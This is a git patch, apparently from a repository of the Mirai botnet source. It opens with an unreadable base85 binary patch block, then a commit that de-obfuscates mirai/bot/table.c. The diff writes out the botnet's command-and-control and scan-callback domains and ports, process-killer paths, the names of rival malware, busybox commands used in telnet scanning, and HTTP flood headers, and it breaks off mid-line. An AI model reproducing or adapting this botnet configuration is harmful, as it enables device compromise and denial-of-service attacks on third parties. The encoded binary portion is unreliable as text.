z(KW?XBNFm@5$C1F_xlNNlEZ*?S0v}bu>7VFkh0#0>)O-}rR7M?69d0ewZQ4KfPpj+ zCkQB?3Tq8^9j?Vm@*F8l<#h%eRABgt;e=y4r5X@-g)V~V8f1H$Z~`yy$D`Bds(GW- zlp23n>2Z^-jOsLCM69h1_8%{g^k(6~B9HQeq%{5vP01vRU%p1oeHP-1;-YBN%e1Ct zTbXZ*x6Uykb(FbGuDWgjyXtVV68^|Em^%LT@HHdk^~u)k(`~zkwubS!aEqhP{*jPa z2OJtmNGO|}(l^B{`V>Ssa$Z*~sZ)D7-Aa`D0-46xX6);@eukg7bj+)uGW&)y?sYh6 z=Nt`*@VVV*Ya@s*l+TT*Jb3hxC(M+`#WR=8STnXZ?z-)s#I9^!hqhxNyjw!x==3A_ zY*h2eI4&xE8$nRbR&VV|LcFYn|PqDhWvmeVUwq_|{J-RCUM4=ys@3Qm8!R-Ek3 zVb|1}aDu$eOsC+uyBo4lvsVSq`1I}=Gx@VY$1V#!vef%@aL_~MnV%v`r1Wf*7KE-8 z1tBWLR)L-K2b6z2dbHM$;2h{6cuXpydbx+HGJ{_5Nv^!T4yE?qO4o^HzR$Xg>mRVP zQd1+xcX*F7h9q;9OJce#0d<{*Vy5~RG_A968?NhlB?(*jfWkRNtA+(U#NIIfyKs!_V3XRL*e~@4I9?ZUKtPzkJrInoElh2l zWi6ck;}(;FY-=q1{gE)BZUbH)I|aQx^rPNSv>iRD6u0oP`uh;MxX96_-t& zF4T#t?v{qYN?7;64dnl((%a8HA%@?PT_eV5_$`~XK|rGxjd74D>m9pQR+1&P8mXd0X^rk2)pbbw{*d+RO>beaJ+zo)$&-$GuV(l8C6B zVU+zyo^Nez;F6~xXFnoCSS?VK=0Xp6zhO70kddt_>({k#6x*mZ*z*cPR^kqUYOL?g zVkff6!U}PNF8*w9ACYOBtr)|Q$bdO@yd#UgEh8+!f!2Yv!R+PyFl#Tqe@fM8j2?m3 zmjKfROiFU;S)B-llIGy|*@#V$r{(E+!o#~bnta4DTbaR0&jk5vSr{vZUR(k!2(jP@ znC@H2c@{=EqeK>gd#&@iVf$X|(wI;YtJ+hHnrAUX`3F;YqR&n1Ee@Y(A(6q#kz2hy zm0$K(p{K^B;q|jeqBYrZ?d5lwz_NPy;%_W_@wNI&*XDLt34iLczp|0KsfSiBdZOyg zQ=xl7mQsA06&om>^yA&`r4=^PC-B(<*MAgpdo?C|$L{Frjv8z4N};DR4=t;0#uau# zfC)RhC;?7)cz$MQ&X%Ia(GG+dyb0&zXhdZS*>ei_v*y-Ip13Jr3~XJkv1Hx6&0`Gy z{`ChpW_GsjwygW2Zgw~us~87f?>+w0n1tC;VON4dtWNV$^Bda|Pq%3xh;vma0bx_H z3@e_t;%*(>DV}0lB-y9>b+`36c#`Y(BN3VO)G~y1%U~L}o1cg5+nAvncSy%0#|S^) zW38$JKf>P_UA;g4a8$|&Y>H0r5ktDNtTLOF8}^ie6byJM_su(z;%7i*euOhB4i8L< znzP1Dv8CUlOf!_k@1!ALZ9*JjCE~~c_5I5-%DsV23W{IVUj<;zjeup;e_vt!v5Ydb zxA?bbw|Bjzaq)LEE>Qco89R(YezPX8pJlU<%}_P4!!g2@U4<;Bh}Y?{G?IuG2^D{T zp8SlGtSpY~MReA|f4}yqQ|mm)fCMurhIEmeAT5Fh^coD}awz`|a|w^OqPe;FrAjrT zj43QoP(K-JCk_<)ShY{zO4!n{6OC@U$f+7Cz=B?xtCt&FLVc6Q*v%G%OCh*b9i&n6 zYEhH^!=j}A)#$gui|}x|Au8MS%9H@7l6zBnHv1eNV%kT{_O}to%&-3AJYu>zPjrPS zgBF(UHvgHbmbWieu`DK{n-wnrQ(cg(g)y6Ma@FfSx6k5KKz z_7by_iML>Zf$Q!zUi^E`rK<;j!-_d660hB8OU8BbHcsB`$RoQq!2ciOB*dCxCN0$z z*98vTm(2*TmO8Si7r?yp9VxYBQ2VUBuY=1ZCxc4M6+t(7L2=SIhOmU<={>as#ZtJ; zUB+SH^muiK8GH56C~{M6aP;l3h?JTN|$*K zKh>rlcuJe_eDY!@93i{5Ca@WVf%g`WDYXN`s18~&e*81}5AhhKxKOwYYk4N+1uZD~ zms@9Pk?`huCZ#NOLew@t)NnM4Z=5+=G)mY68$+ub_8xs)7e6_rP?8sVjn3%EtlLvo zDb6rqzBqi+4NTUwYi+Z?Pd(Cd1)jK@`IeMrWf+=e3XZAJ8AE?CUigV~xDQlEfyWPw zW4X*dlh2SR3VhCpVpj)CzeKRmq5_RSDya6cj6S$e5NiV%&$x#lJNI%A}nd zLn62_b0wDb{u1YsqFR~a>0*^>7nsFi_)xdm`ojwQEFKtbwcRprG5V}dT$@b`Ai-{3 z7S-7f4Kbt;sAqKS>MmmSPY%UNr9+WY?ngc2FP^t-wQ~0cy-Wyip+An3IVM^crv<2y zTGZxUE9_Q9m*HH&(;A3N-g?F~9LioPXpNcd{fgMwGSMBLUuzF##Z~%BuGd|%F#ATl zVNdoUg18YiK8s$jh33fB`d~it+A3w0WQMy+lrKiU!)@HC*M4}tYn*~i(P-vKZD#zL z-PDP(2s|d=H%4}bi?X1)cyVWBv2reIk&f9T@ZU#m#79o4l&?1I!T`hMq4;Z-gnt>Q zi47o)_@6I1P^I@YTK|5IeFDeIZgt_d&1Zl)RMdoQHX(7ya?0jaasenhegONbM;TPQ zJ?>l<5D%k?VFYRwX$a2Y>^lIzGNHM6$|(8%>EMDs&Vx&S4Li)u{k-MiwKW<0a2>T{ zs{4COv1&7WH9q1l%#Wxd#&8RIk<-x)g<#h?5K9zCr`j?VsX*>?Ro8&$jLs)> zy$0oleebTR@GtT(&qTA`>j3&}3Jb=`Iwx`(yj0f=ZS_fun}kCH^(!h7B&fZ?ed~DhPFy@k{-y`V+5O_X8ayTN?(}ZEK=+788}1c!YcY>Wk>dfDr&4p zWw0HD=A}!|ew*f(##ZeLk%sx)O{XWVGCi$ z5Tl-G#cYa)ZI>|*?KoY5BO38tKgJe!WYp9|COB}5S3JhIkwbY5ScoOgrFl?@v+kfEYhir&B+2z6$ucOi^Tt(nb6TM1#3|3zGSuMF^mCI~vkS*p;BE1N#p-+jAx0Hx;DK<*H>QfJ7r5iC?ead}j$#wo zNaUO3Ps^**U0kepKP$=O_1&s?0aAT|>`TFg0Vw$;$q_NgR~KQ0x|{eEOMD#DD5dFP zs0uoCT(SGfnM`mGRja;@jcXCEP?4@xQ`;%d31qx$0fQcMaYYZUWIXD!zNoqifoU_3 zMHJDjqcdoX066?ZLkp12I*111Hv_uy>=(f{V5o4{G*Sx(ah(8i|GOO|^QUbk`Z6{|u87e}3 zHk%@Km5VEP6WLN22A8de?mkmT0!Q#Qge{j_Ia0KHpDCk;Gljj*lGT(X`GlnDHhVU4 zg{oOMe9aU0g>IVk70tal#kTW61GDs1g4TwMcOip_Tyeo=>xkGu!DpPOxlc34o+z6S7a_9? z1k(^Z%6ikkvJdVCEZTcVI_@A15t&*oN{K%*zc&8eb(&W*>$#CN;@f?%BQfv3j0n3{ zuNP7pZs_-eFi6&)RoVG(F7(C@lsYF!Q&Sd{sVYY1Yw@+HzBd*|E5oVU+%_~YH=p!< z5J$tHN6pFGJ~)wZM}E+n3%sUOwon`lqy8Bpgyh~^$M&LW5YWHECR^VItUL+raQlTZ zN#&@0&@*H^qNXurxp|D%{4>)_m*MAPSZV!FI#3=TW0}9GOe-Ra^7$*H0av_1a5md9 zdD$w(rdSKJv~nml@uiJv6;?{PEw{(WF++SPcqGc*5qUz*NGlea63^q&>}@wrDpgTV zFrr}uTfP$aEX?vhb6-jhK*qO4iG==Gjbb%m-(+2pV%^eEEBm^=FiJbOi}C&=X>|a# zzz|VPQC4VSKeZgUXQOt+sCJKHjO8{mjm~UeoZGB9FBi+nKjH%pg(daJD$x9g>LFEa%GNm!2g;0mcVXiczaJ<2$If#9S(;k+6F(lZacBVoyq`jGXguArZ9i zSxFWP%g!ZzYjLSKGo>-q@MF>o1_dQeJNGDqN>DCC2Zh9&W}Ym8t1SZojtQBKS{5~P z1D$7)XAUNQH)X&hjmhd#EVAFM*`AX8pk%1LRUcVcWPw1yQ)g`M4*G{8LKH*Kqymx`z+o5)cd*5YBTPc zLCLWN+gFtv=H50aMmvx1U_)xUS;?adO!<&(51Y9Fbzk6VKTE-X(ZI2TkFnlZe9@ev z3*0P{1CF|)Qayq|4{aYACQvmJcBSfCIpldnGmD`)n*LD$6kDx+EVsJ*W@6WIwBX7N z`dO+WB`KML!pv~KRAvJ?sbTVK2kXz(uv-mEbFJ~z&xP#CCO^j3x#?oZ5|QYxqthX9 zc;-V(FcN+$9!B7 z+w=XeH-?ALB4rQ1M}G#`Ef1ys>w(~Zd1KDbhQ?O^cE=#aHZ*?xeYMn}{p^Iwjq@~(;RyXxLDDFg#?S~%U! z8*H+le2P9^^G@8(i47;0S-2(*cBD9F-e4R>8ja*0%6x-l8n$bA&>bA6J^(u5O)Ube zuP{sZLIo+d79broN2hohKJ><&5mUO;(_MWvFHhMs9PDHB=V+;4@D_7WJ6fhGvaDBZ z z-^EzO##L!A1`MkzKM7lS&wUt%O=|Qny`j&~NxKGT80~i2m{bQc;*)-tn08LBVTJ=H zI9HI8B&TEzr-}w>j%7Sd^95yI5RD-{X{pfPObKvU41Mjx^o)G1sksK0j*`4gq%n3R zg^k7CN{znKTVZoFKRU#db*oONc6<6XVxQ9Jvz_Gm16;<9_a~_9t=6>F8q+18oQcJ0o^6nmT%HZZif`IXkbrSIlp|i$4?sU$aDh z?D}HLgB-|3^K#i!`FQ$VrVP|fjnLRCI%z6hyMvR1lQMaYUb*nLdv$mVg6Uf?nAuLL z3_l6veqx5LgJ2)RaE*=C%AAJM3Y0{`BBmVYK*eJ1l*R4spO$Ux($$L&$DLQ8^!3wUjN^=C^;wkp9<&@sZMT%tm-7X4NIn0qwAW**J@=EOqliIRR)g-GJ@3EAoA{Ln(^yb<)=6CvR>mF=bu#atm)S?WQNR9dm+6EptVBEA3 z2o$T8msv|WjWH!8Uy@uLI%HWb_mxE2Xy(;{TP-WrX%j2eC$J1a+*Oi4zVE`vMWzRT;X=UU!g1#wY)Fgn^?rxY%@d+UHJmNEy9k}{1U8@8g8Qk8fJ_o;qIIn5 zyH@-*jg35v$@LHq)r&7RuvK>$L3mM(5$4wfhv^p@HG~Q~8h0&z1zBnDLS~HGjZK2z zJ!F5rAvJYW3{n@q5`D_ZJxTfHnhtGFY3ilb<&m{%j~BB_PvY z-+d^ac|>(uANC4H;6c1dcxL1;I14$;ZS)l%)Z01(F34%ZtYa(RL=BH+(#}%$!9^r} zWTN8SrN3F)G$eJtbkESlgqP+QxJ77w7YFCRn&*5_)*&;@Ur=-Q4{yBRL|3F2dB@KQ zr=GngPYwe1RddRYD0^e4xqREvGV>p0gwq@9;i)Gn|NcC;x!$qD_p(UD-%(&FTBHMIbH!LpWDiQAs!X2gp~sz_a!qumER2G4<)*aLtS7o)Z=<1I zDI8{#UBW`_;qEEJTtRT&9qAD#N6>6|N`Dv8OX)h!4 zzXUfwrtU{=aCx3{?nXVUvkK?ji(81i0Q+pcZWpo;g$u1QWraG+DXz2!p_6YgWR@WvxAFeSSpM^3{>+o6VVuk?ka zdr*?k{O-!v?&aNguY}nWu^@QBh-M%h8aGUQmNKI~fmY}ZnH~!Ciu*(?rIXm{s@Bmi z#O^{6^FL9yVvxN};Md`#`<2?uF9{&_;1_JWDrYU@`Wq%Gl)S5mQ=wKzkFi(bz0y+Q zmj~#C>UW=%Ec=)(rR-8&LQvd=FiGgI#bM{16_wpf<}p%5baftg=V_t>8WmPF79Tu` z7UUM3*@xCi&x&vSI`ua`Tyl}twv4A0`9IJ@(#}Nc;n|F=#MfGaZ@CSq$qir12E>k~ zpCu3bZO|D@O@}bzqivpkeuW@=faQfpMUF5KTa$jUf=0#4-J}|Ga=(m4V=GS}8+vMF zQwbRcslDNx%wuW!CJZ-auh`tRA)ofCUIA*_ts#_vu9_Auq**+otRPNow$*G!G|t&K zE!T1a{A*>Pm{KBko0-D}OL-+~9v%!WE^!z2c@irV=R)l_yc_Ri{4hB_i>cj^jFnZj zm%+s6&!9CCZe%-OfP0(N%iPeD5=Ep}y^?R|dc=7P3h;^{GGIH|j1#vFs(ihwC)~q* z#7>>;A;Z|XN}^;DS4&5HAt4XAK91djg_@e`S#a_{xBfJfIxn zzb^j#g8R>&p^2%Hi}|mR)q23|%Rk!xlwA130snH9kh!hcX4O|4A=J*DWGifQ4Zc8>>u{fY>$}bb1BcKsF!%#71zEYyS)B*|QH`;}EDs(5&e0nM> zQuKs8tUUj~zr=aoO%Rzv?U~-n+<@BCoJ)-Zs?pMz4?%nB$}iS)NA6)o+GcG?jg3m6VmQdtRWczIKs7Y|`_NXSLPUf1N7&wu~)dS<|O*yy>4-!brH(iZV( z5{_IaI*Dc0%pN4pP4RW+GZyC;LPRIHx1~%+)oi>=n#rFp;>7Q6Z7e94qO<*34k&mw z!C%AE_K{lX$!ybkch_h7PH9r{_FaB_A{7lbQo0qd!-YZ>VYRT$7r?hcYyLXUv;t*A z%5K`Dt)NJsMt9K+@=+Nw1lQY|1SBdkv1Y1cfyc1*)lr6Bjk95`MGZ6VMt8$pSqVWp zOcDd`DMGs)YeG)D6XUYr@?|=ui{(Rx?eiH)GWrNR*ymz%&Xi?(9JidU!@^Z^O@xsg z+-|o1X%?mSZ=osNm6!VVLm{E-?(A^bWAMY@BwNlCRHkbgQX-iyFnYh(=ms1>XzmM( zo9TSl+Shqn{fOYM6jspGkMH|qI~(I|yYYK*S2j{}sFq|9503V?*0N zf;mioZ8QORVI)5OCtm&#Je`}$5E3xAmP7v$mitQ`ei5EZ^gFz%t?~bx)PKMdlRYB~ z0mkqZP*WG>H`rs+-(g+NP5*z{_@%w#+C0B$9L%4%e{6)G3b|4L8y7(DFMX^3^7Eg% z4+S_ML>Fxog$iKyBcSKM%h~=Lo};Ogo%QEG`)>z0EA+Pq)*qJfOWh0rX;`y5MsB?U zx=;paNWb+Tm-(-9IvU!V{E^)nFj#DWJmCL;%B0037TG=fRyb20BerOBjutbCV~OT8Ox0Mza(sN{#97RU$4!6scsF-KjOjx$h~WcxM%|4 z4xs%n2_pP|#r;<@^k1m1|4gkRfZE{T21kA^Sxx`#+QG0Lde9QJ_^wsKsBI3Ejn(Rs)n;V#&W8GIfvQ!r zSiK&y>LZ)8sG$|GTDF4O^AWSTh=pAQ6tM_gE$qPV{g~ZmWb5mcsPYMfHk|z@Xj;C-2mh= zlDtKERt}Wq{g)(jD%36nQlT?c8y^cPPgi|z^3bVx`_$a+k@+loK8Mi6C%1C(HMJ66 zKmTcMMgB9eH6+LO)*IU?GG{6xbAhTEFIFGlS?v;E#v<_*uo`J$cJqVTUckj@1Y81I zH%BwQ`^EIsR%yerRXV_RuO{Qm-;Af7o2FvtW}xaOGge2xJ+<3%W-hjz1+Km>Wq13p z=jNBE2IJ*v5%xK|E+#qb|BJ!=T>I#imX=H`E-U5dPF+}Hangx-naRxJ5>uYB>mpPB i`afrNom!cfoXo_MlYH~qrZiQxZl7a&@;O+*qtrij+z|5s literal 0 HcmV?d00001 From 84b0637ff7a7ba4a50078a1a0476dff6364fdc72 Mon Sep 17 00:00:00 2001 From: Chuck McAuley Date: Wed, 12 Oct 2016 11:07:24 -0400 Subject: [PATCH 19/26] remove obfusacation --- mirai/bot/table.c | 115 ++++++++++++++++++++++------------------------ 1 file changed, 54 insertions(+), 61 deletions(-) diff --git a/mirai/bot/table.c b/mirai/bot/table.c index 13b341e..54103b4 100755 --- a/mirai/bot/table.c +++ b/mirai/bot/table.c @@ -15,64 +15,57 @@ struct table_value table[TABLE_MAX_KEYS]; void table_init(void) { - add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com - add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23 +add_entry(TABLE_CNC_DOMAIN, "\x63\x6e\x63\x2e\x63\x68\x61\x6e\x67\x65\x6d\x65\x2e\x63\x6f\x6d\x00", 17); +add_entry(TABLE_CNC_PORT, "\x00\x17", 2); +add_entry(TABLE_SCAN_CB_DOMAIN, "\x72\x65\x70\x6f\x72\x74\x2e\x63\x68\x61\x6e\x67\x65\x6d\x65\x2e\x63\x6f\x6d\x00", 20); +add_entry(TABLE_SCAN_CB_PORT, "\xbb\xe5", 2); +add_entry(TABLE_EXEC_SUCCESS, "\x6c\x69\x73\x74\x65\x6e\x69\x6e\x67\x20\x74\x75\x6e\x30\x00", 15); +add_entry(TABLE_KILLER_SAFE, "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x79\x6f\x75\x74\x75\x2e\x62\x65\x2f\x64\x51\x77\x34\x77\x39\x57\x67\x58\x63\x51\x00", 29); +add_entry(TABLE_KILLER_PROC, "\x2f\x70\x72\x6f\x63\x2f\x00", 7); +add_entry(TABLE_KILLER_EXE, "\x2f\x65\x78\x65\x00", 5); +add_entry(TABLE_KILLER_DELETED, "\x20\x28\x64\x65\x6c\x65\x74\x65\x64\x29\x00", 11); +add_entry(TABLE_KILLER_FD, "\x2f\x66\x64\x00", 4); +add_entry(TABLE_KILLER_ANIME, "\x2e\x61\x6e\x69\x6d\x65\x00", 7); +add_entry(TABLE_KILLER_STATUS, "\x2f\x73\x74\x61\x74\x75\x73\x00", 8); +add_entry(TABLE_MEM_QBOT, "\x52\x45\x50\x4f\x52\x54\x20\x25\x73\x3a\x25\x73\x00", 13); +add_entry(TABLE_MEM_QBOT2, "\x48\x54\x54\x50\x46\x4c\x4f\x4f\x44\x00", 10); +add_entry(TABLE_MEM_QBOT3, "\x4c\x4f\x4c\x4e\x4f\x47\x54\x46\x4f\x00", 10); +add_entry(TABLE_MEM_UPX, "\x5c\x78\x35\x38\x5c\x78\x34\x44\x5c\x78\x34\x45\x5c\x78\x34\x45\x5c\x78\x34\x33\x5c\x78\x35\x30\x5c\x78\x34\x36\x5c\x78\x32\x32\x00", 33); +add_entry(TABLE_MEM_ZOLLARD, "\x7a\x6f\x6c\x6c\x61\x72\x64\x00", 8); +add_entry(TABLE_MEM_REMAITEN, "\x47\x45\x54\x4c\x4f\x43\x41\x4c\x49\x50\x00", 11); +add_entry(TABLE_SCAN_SHELL, "\x73\x68\x65\x6c\x6c\x00", 6); +add_entry(TABLE_SCAN_ENABLE, "\x65\x6e\x61\x62\x6c\x65\x00", 7); +add_entry(TABLE_SCAN_SYSTEM, "\x73\x79\x73\x74\x65\x6d\x00", 7); +add_entry(TABLE_SCAN_SH, "\x73\x68\x00", 3); +add_entry(TABLE_SCAN_QUERY, "\x2f\x62\x69\x6e\x2f\x62\x75\x73\x79\x62\x6f\x78\x20\x4d\x49\x52\x41\x49\x00", 19); +add_entry(TABLE_SCAN_RESP, "\x4d\x49\x52\x41\x49\x3a\x20\x61\x70\x70\x6c\x65\x74\x20\x6e\x6f\x74\x20\x66\x6f\x75\x6e\x64\x00", 24); +add_entry(TABLE_SCAN_NCORRECT, "\x6e\x63\x6f\x72\x72\x65\x63\x74\x00", 9); +add_entry(TABLE_SCAN_PS, "\x2f\x62\x69\x6e\x2f\x62\x75\x73\x79\x62\x6f\x78\x20\x70\x73\x00", 16); +add_entry(TABLE_SCAN_KILL_9, "\x2f\x62\x69\x6e\x2f\x62\x75\x73\x79\x62\x6f\x78\x20\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x00", 22); +add_entry(TABLE_ATK_VSE, "\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00", 21); +add_entry(TABLE_ATK_RESOLVER, "\x2f\x65\x74\x63\x2f\x72\x65\x73\x6f\x6c\x76\x2e\x63\x6f\x6e\x66\x00", 17); +add_entry(TABLE_ATK_NSERV, "\x6e\x61\x6d\x65\x73\x65\x72\x76\x65\x72\x20\x00", 12); +add_entry(TABLE_ATK_KEEP_ALIVE, "\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65\x00", 23); +add_entry(TABLE_ATK_ACCEPT, "\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x69\x6d\x61\x67\x65\x2f\x77\x65\x62\x70\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38\x00", 83); +add_entry(TABLE_ATK_ACCEPT_LNG, "\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x38\x00", 32); +add_entry(TABLE_ATK_CONTENT_TYPE, "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64\x00", 48); +add_entry(TABLE_ATK_SET_COOKIE, "\x73\x65\x74\x43\x6f\x6f\x6b\x69\x65\x28\x27\x00", 12); +add_entry(TABLE_ATK_REFRESH_HDR, "\x72\x65\x66\x72\x65\x73\x68\x3a\x00", 9); +add_entry(TABLE_ATK_LOCATION_HDR, "\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x00", 10); +add_entry(TABLE_ATK_SET_COOKIE_HDR, "\x73\x65\x74\x2d\x63\x6f\x6f\x6b\x69\x65\x3a\x00", 12); +add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, "\x63\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67\x74\x68\x3a\x00", 16); +add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, "\x74\x72\x61\x6e\x73\x66\x65\x72\x2d\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x00", 19); +add_entry(TABLE_ATK_CHUNKED, "\x63\x68\x75\x6e\x6b\x65\x64\x00", 8); +add_entry(TABLE_ATK_KEEP_ALIVE_HDR, "\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65\x00", 11); +add_entry(TABLE_ATK_CONNECTION_HDR, "\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x00", 12); +add_entry(TABLE_ATK_DOSARREST, "\x73\x65\x72\x76\x65\x72\x3a\x20\x64\x6f\x73\x61\x72\x72\x65\x73\x74\x00", 18); +add_entry(TABLE_ATK_CLOUDFLARE_NGINX, "\x73\x65\x72\x76\x65\x72\x3a\x20\x63\x6c\x6f\x75\x64\x66\x6c\x61\x72\x65\x2d\x6e\x67\x69\x6e\x78\x00", 25); +add_entry(TABLE_HTTP_ONE, "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x4f\x57\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x35\x31\x2e\x30\x2e\x32\x37\x30\x34\x2e\x31\x30\x33\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x00", 111); +add_entry(TABLE_HTTP_TWO, "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x4f\x57\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x35\x32\x2e\x30\x2e\x32\x37\x34\x33\x2e\x31\x31\x36\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x00", 111); +add_entry(TABLE_HTTP_THREE, "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x35\x31\x2e\x30\x2e\x32\x37\x30\x34\x2e\x31\x30\x33\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x00", 110); +add_entry(TABLE_HTTP_FOUR, "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x35\x32\x2e\x30\x2e\x32\x37\x34\x33\x2e\x31\x31\x36\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x00", 110); +add_entry(TABLE_HTTP_FIVE, "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x4d\x61\x63\x69\x6e\x74\x6f\x73\x68\x3b\x20\x49\x6e\x74\x65\x6c\x20\x4d\x61\x63\x20\x4f\x53\x20\x58\x20\x31\x30\x5f\x31\x31\x5f\x36\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x36\x30\x31\x2e\x37\x2e\x37\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x56\x65\x72\x73\x69\x6f\x6e\x2f\x39\x2e\x31\x2e\x32\x20\x53\x61\x66\x61\x72\x69\x2f\x36\x30\x31\x2e\x37\x2e\x37\x00", 117); - add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com - add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101 - - add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15); - - // safe string https://youtu.be/dQw4w9WgXcQ - add_entry(TABLE_KILLER_SAFE, "\x4A\x56\x56\x52\x51\x18\x0D\x0D\x5B\x4D\x57\x56\x57\x0C\x40\x47\x0D\x46\x73\x55\x16\x55\x1B\x75\x45\x7A\x41\x73\x22", 29); - add_entry(TABLE_KILLER_PROC, "\x0D\x52\x50\x4D\x41\x0D\x22", 7); - add_entry(TABLE_KILLER_EXE, "\x0D\x47\x5A\x47\x22", 5); - add_entry(TABLE_KILLER_DELETED, "\x02\x0A\x46\x47\x4E\x47\x56\x47\x46\x0B\x22", 11); - add_entry(TABLE_KILLER_FD, "\x0D\x44\x46\x22", 4); - add_entry(TABLE_KILLER_ANIME, "\x0C\x43\x4C\x4B\x4F\x47\x22", 7); - add_entry(TABLE_KILLER_STATUS, "\x0D\x51\x56\x43\x56\x57\x51\x22", 8); - add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13); - add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10); - add_entry(TABLE_MEM_QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10); - add_entry(TABLE_MEM_UPX, "\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10\x10\x22", 33); - add_entry(TABLE_MEM_ZOLLARD, "\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8); - add_entry(TABLE_MEM_REMAITEN, "\x65\x67\x76\x6E\x6D\x61\x63\x6E\x6B\x72\x22", 11); - - add_entry(TABLE_SCAN_SHELL, "\x51\x4A\x47\x4E\x4E\x22", 6); - add_entry(TABLE_SCAN_ENABLE, "\x47\x4C\x43\x40\x4E\x47\x22", 7); - add_entry(TABLE_SCAN_SYSTEM, "\x51\x5B\x51\x56\x47\x4F\x22", 7); - add_entry(TABLE_SCAN_SH, "\x51\x4A\x22", 3); - add_entry(TABLE_SCAN_QUERY, 